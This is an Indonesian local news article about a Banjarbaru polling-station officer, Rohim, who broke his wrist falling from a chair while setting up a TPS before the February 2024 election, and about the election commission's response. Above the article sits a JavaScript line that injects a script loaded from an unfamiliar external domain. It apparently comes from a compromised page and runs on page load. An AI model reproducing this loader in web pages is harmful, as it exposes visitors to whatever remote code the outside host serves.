(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Naas Pengawal Pesta Demokrasi , Rohim Patah Tangan saat Persiapkan TPS

KANALKALIMANTAN.COM, BANJARBARU – Kejadian naas menimpa salah satu anggota KPPS TPS 34 Kelurahan Sungai Besar, Kecamatan Banjarbaru Selatan, Kota Banjarbaru bernama Rohim.

Salah satu petugas KPPS ini mengalami kecelakaan kerja saat menjalankan tugas pada H-1 pesta demokrasi, Selasa (13/2/2024) lalu.

Korban terjatuh dari kursi saat melakukan persiapan pendirian TPS 34 yang terletak persis berada di depan rumahnya. Akibatnya, korban mengalami patah tangan.

Rohim menceritakan, setelah TPS telah berdiri ia hendak menyambung sambungan kabel lampu untuk memasang sound system, kejadian sekitar pukul 18.15 Wita.

Kabel itu ingin ia naikkan ke atas pintu dengan cara menaiki sebuah kursi plastik. Saat kaki kanannya menaiki kursi tersebut tidak terjadi apa-apa. Hanya saja saat kaki kirinya naik, tiba-tiba kaki kursi sebelah kanan menjadi pengkor alias timpang.

“Saya kaget gak sadar jatuh, begitu sadar tangan langsung saya pegang karena panas rasanya dan ada benjolan, lalu ada teman bilang kalau tangan saya patah, jadi setelah itu langsung saya bawa ke tukang urut hari itu juga,” ungkap Rohim.

Rohim langsung dianjurkan untuk pergi ke tukang urut. Ia pun langsung berangkat berurut. Meski kondisinya sempat membaik, ia tetap tidak bisa membantu persiapan TPS pada malam itu.

“Selepas diurut, Alhamdulillah menjadi lebih nyaman, rasa nyeri dan ngilu itu tertahan saja, namun malamnya gak bisa membantu lagi untuk persiapan tempat,” sambung dia.

Bahkan saat hari H pencoblosan paginya, ia masih bisa berhadir untuk melakukan pengambilan sumpah sekitar pukul 07.00 Wita.

Belakangan ternyata kondisi anggota KPPS 2 tidak memungkinkan bekerja untuk catat mencatat, ia pun berganti posisi menjadi anggota KPPS 7 sebagai penjaga tinta.

“Saya minta tolong anak untuk mendampingi dengan menyertakan surat pernyataan, maka sampai malam saya bersama anak ikut bekerja, sesekali kalau kesakitan saya istirahat,” ceritanya.

Karena masih merasakan nyeri di bagian pergelangan tangan, kemudian Kamis sore ia pun kembali ke tukang urut tapi tak ada perubahan.

“Ternyata gak bisa digerakkan, saya kira bengkak saja karena curiga saya bawa ke RS Syifa Medika untuk dilakukan rontgen, setelah itu dokter menyatakan kalau tangan saya patah, pergelangannya harus dioperasi dan disuruh pakai gips,” jelasnya.

Ia pun menjalani operasi untuk pergelangan tangannya pada hari Kamis (22/2/2024) lalu. Sedangkan kondisi tangannya saat ini masih berbalut gips untuk proses pemulihan setelah operasi.

Rohim mengaku mengambil cuti bekerja dan juga direkomendasikan untuk tidak menjalankan aktivitas sebagai KPPS untuk beberapa hari ini.

Pada hari Sabtu (25/2/2024) lalu, Rohim menjelaskan bahwa ia dijenguk komisioner KPU Banjarbaru bersama personel Polres Banjarbaru.

“Alhamdulillah ada dari KPU bersama Polres datang untuk mendata kejadian yang saya alami, mereka paham saja bahwa saya juga masih mengurusi perhitungan suara yang belum selesai,” katanya.

Ketua KPU Banjarbaru Rozy Maulana mengatakan, bentuk pertanggungjawaban yang diusahakan pihaknya bermacam-macam.

Pihaknya juga memberikan penanganan sesuai dengan PKPU yang mengatur bermacam-macam penanganan tergantung bagaimana sakitnya.

“Misal dia tercover BPJS, namun biayanya BPJS mandiri tentu ada hitungannya. Tentu kami berharap mereka segera sembuh bisa bekerja lagi seperti sediakala,” ungkap Rozy. (Kanalkalimantan.com/wanda)

Reporter : wanda
Editor : bie